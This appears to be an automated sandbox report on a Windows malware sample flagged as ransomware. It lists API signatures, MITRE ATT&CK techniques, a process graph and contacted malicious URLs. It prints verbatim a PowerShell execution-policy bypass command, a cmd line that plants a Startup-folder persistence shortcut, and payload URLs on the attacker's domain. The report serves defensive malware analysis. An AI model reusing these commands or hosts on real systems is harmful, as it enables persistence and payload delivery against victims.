Source: C:\Users\Public\Guard.exeCode function: 6_2_00193CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00193CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00924005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,13_2_00924005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092494A GetFileAttributesW,FindFirstFileW,FindClose,13_2_0092494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,13_2_0092C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,13_2_0092CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092CD14 FindFirstFileW,FindClose,13_2_0092CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,13_2_0092F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,13_2_0092F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,13_2_0092FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00923CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,13_2_00923CE2
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB51D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_00007FF69DB51D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: powershell.exe, 00000004.00000002.1492306701.00000278DBB2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1492306701.00000278DBAB0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1492306701.00000278DBAB0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5
Source: wscript.exe, 0000000C.00000002.1588583535.0000024A8F460000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1492306701.00000278DBAB0000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004332000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000D.00000002.2585596818.00000000041E2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC0A00 BlockInput,0_2_00007FF69DBC0A00
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB337B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00007FF69DB337B0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB55BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,0_2_00007FF69DB55BC0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC7634 LoadLibraryA,GetProcAddress,0_2_00007FF69DBC7634
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9D6A0 GetLengthSid,CopySid,GetProcessHeap,HeapFree,0_2_00007FF69DB9D6A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB559C8 SetUnhandledExceptionFilter,0_2_00007FF69DB559C8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB557E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF69DB557E4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB78FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF69DB78FE4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB6AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF69DB6AF58
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015A354 SetUnhandledExceptionFilter,6_2_0015A354
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_0015A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008EA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,13_2_008EA385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008EA354 SetUnhandledExceptionFilter,13_2_008EA354

HIPS / PFW / Operating System Protection Evasion

barindex
Bypasses PowerShell execution policy
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00007FF69DB9CE68
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB337B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00007FF69DB337B0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBA9420 SendInput,keybd_event,0_2_00007FF69DBA9420
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAD1A4 mouse_event,0_2_00007FF69DBAD1A4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exitJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9C5FC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00007FF69DB9C5FC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00007FF69DB9D540
Source: TCKxnQ5CPn.exe, SwiftWrite.pif.6.dr, Guard.exe.2.drBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: TCKxnQ5CPn.exe, Guard.exe, SwiftWrite.pifBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB6FD20 cpuid 0_2_00007FF69DB6FD20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB6BEF8 GetSystemTimeAsFileTime,0_2_00007FF69DB6BEF8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB92BCF GetUserNameW,0_2_00007FF69DB92BCF
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB72650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00007FF69DB72650
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB51D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_00007FF69DB51D80
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3851000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Users\Public\Guard.exe
Source: Guard.exe, 00000006.00000002.2583952818.0000000001808000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3851000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1487596885.00000278DB994000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1492306701.00000278DBAF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1460290124.00000278C1949000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1487596885.00000278DB986000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1492306701.00000278DBB2C000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1467191974.00000000017B0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1471272935.00000000017B0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1471496008.00000000017B0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1459961766.00000000017B0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1460280493.00000000017B0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1471168883.00000000017B0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Guard.exe
Source: TCKxnQ5CPn.exe, 00000000.00000002.1405829884.0000019FA4CD8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1487596885.00000278DB8D2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C3657000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1492306701.00000278DBAF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C3851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1492306701.00000278DBB2C000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, Guard.exe, 00000006.00000002.2585543435.000000000437B000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2583690747.00000000015BE000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3851000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \Users\Public\Guard.exe
Source: SwiftWrite.pifBinary or memory string: WIN_81
Source: SwiftWrite.pifBinary or memory string: WIN_XP
Source: SwiftWrite.pifBinary or memory string: WIN_XPe
Source: SwiftWrite.pifBinary or memory string: WIN_VISTA
Source: TCKxnQ5CPn.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pifBinary or memory string: WIN_7
Source: SwiftWrite.pifBinary or memory string: WIN_8
Source: Guard.exe.2.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00007FF69DBC4074
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_00007FF69DBC3940
Source: C:\Users\Public\Guard.exeCode function: 6_2_001A696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,6_2_001A696E
Source: C:\Users\Public\Guard.exeCode function: 6_2_001A6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,6_2_001A6E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0093696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,13_2_0093696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00936E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,13_2_00936E32

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		2
Valid Accounts		2
Native API		1
Scripting		1
Exploitation for Privilege Escalation		1
Disable or Modify Tools		21
Input Capture		2
System Time Discovery		Remote Services1
Archive Collected Data		2
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		1
DLL Side-Loading		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol21
Input Capture		11
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts3
PowerShell		2
Valid Accounts		2
Valid Accounts		2
Obfuscated Files or Information		Security Account Manager2
File and Directory Discovery		SMB/Windows Admin Shares3
Clipboard Data		2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCron2
Registry Run Keys / Startup Folder		21
Access Token Manipulation		1
DLL Side-Loading		NTDS26
System Information Discovery		Distributed Component Object ModelInput Capture13
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script12
Process Injection		311
Masquerading		LSA Secrets41
Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts2
Registry Run Keys / Startup Folder		2
Valid Accounts		Cached Domain Credentials21
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items21
Virtualization/Sandbox Evasion		DCSync3
Process Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation		Proc Filesystem11
Application Window Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1581402 Sample: TCKxnQ5CPn.exe Startdate: 27/12/2024 Architecture: WINDOWS Score: 100 50 tiffany-careers.com 2->50 52 nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs 2->52 56 Suricata IDS alerts for network traffic 2->56 58 Antivirus detection for URL or domain 2->58 60 Icon mismatch, binary includes an icon from a different legit application in order to fool users 2->60 62 11 other signatures 2->62 10 TCKxnQ5CPn.exe 1 2->10         started        14 wscript.exe 1 1 2->14         started        signatures3 process4 file5 48 C:\Users\Public\PublicProfile.ps1, ASCII 10->48 dropped 70 Suspicious powershell command line found 10->70 72 Binary is likely a compiled AutoIt script file 10->72 74 Bypasses PowerShell execution policy 10->74 16 powershell.exe 17 10->16         started        19 powershell.exe 14 16 10->19         started        76 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->76 23 SwiftWrite.pif 14->23         started        signatures6 process7 dnsIp8 38 C:\Users\Public\Secure.au3, Unicode 16->38 dropped 25 Guard.exe 4 16->25         started        29 conhost.exe 16->29         started        54 tiffany-careers.com 147.45.49.155, 443, 49707, 49723 FREE-NET-ASFREEnetEU Russian Federation 19->54 40 C:\Users\Publicbehaviorgraphuard.exe, PE32 19->40 dropped 64 Drops PE files to the user root directory 19->64 66 Powershell drops PE file 19->66 31 conhost.exe 19->31         started        file9 signatures10 process11 file12 44 C:\Users\user\AppData\...\SwiftWrite.pif, PE32 25->44 dropped 46 C:\Users\user\AppData\Local\...\SwiftWrite.js, ASCII 25->46 dropped 68 Drops PE files with a suspicious file extension 25->68 33 cmd.exe 2 25->33         started        signatures13 process14 file15 42 C:\Users\user\AppData\...\SwiftWrite.url, MS 33->42 dropped 36 conhost.exe 33->36         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
TCKxnQ5CPn.exe34%ReversingLabsWin32.Ransomware.Generic

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\Public\Guard.exe8%ReversingLabs
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif8%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://tiffany-careers.com0%Avira URL Cloudsafe
https://tiffany-careers.com/ZxVMIVZIX.txt100%Avira URL Cloudmalware
https://tiffany-careers.com/ALGglt100%Avira URL Cloudmalware
http://tiffany-careers.com0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
tiffany-careers.com
147.45.49.155
truefalse
    		high
    nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
    		unknown
    		unknownfalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      https://tiffany-careers.com/ZxVMIVZIX.txttrue
      • Avira URL Cloud: malware
      		unknown
      https://tiffany-careers.com/ALGglttrue
      • Avira URL Cloud: malware
      		unknown

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://www.autoitscript.com/autoit3/JGuard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000000.1458289965.00000000001F9000.00000002.00000001.01000000.00000007.sdmp, SwiftWrite.pif, 0000000D.00000000.1587613578.0000000000989000.00000002.00000001.01000000.00000009.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drfalse
